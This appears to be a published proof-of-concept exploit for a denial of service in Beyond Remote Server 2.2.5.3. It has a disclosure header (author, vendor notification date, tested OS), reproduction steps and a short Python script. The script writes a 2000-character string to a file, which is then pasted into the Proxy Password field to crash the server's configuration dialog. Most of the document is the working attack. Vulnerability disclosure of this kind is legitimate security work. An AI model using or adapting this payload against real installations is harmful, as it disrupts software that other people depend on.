Beyond Remote 2.2.5.3 – Denial of Service (PoC)

# Exploit Title: Beyond Remote 2.2.5.3 - Denial of Service (PoC)

# Author: Erenay Gencay

# Discovey Date: 2018-09-24

# Vendor notified : 2018-09-24

# Software Link: https://beyond-remote-client-and-server.jaleco.com/

# Tested Version: 2.2.5.3

# Tested on OS: Windows XP Professional sp3 (ENG)

# Steps to Reproduce: Run the python exploit script, it will create a new file

# file with the name "mre.txt". Copy the content of the new file "mre.txt".

# Start Beyond Remote Server 2.2.5.3 and click "Configure" than click "Update Options" than

# click "Proxy Settings" Paste the content into field "Proxy Password" click "OK"

# It will cause the DOS situation.

bof = "A" * 2000

try:

print("payload is loading..")

dosya = open('mre.txt','w')

dosya.write(bof)

dosya.close()

print(" [+] File Created")

except:

print("Someting went wrong !")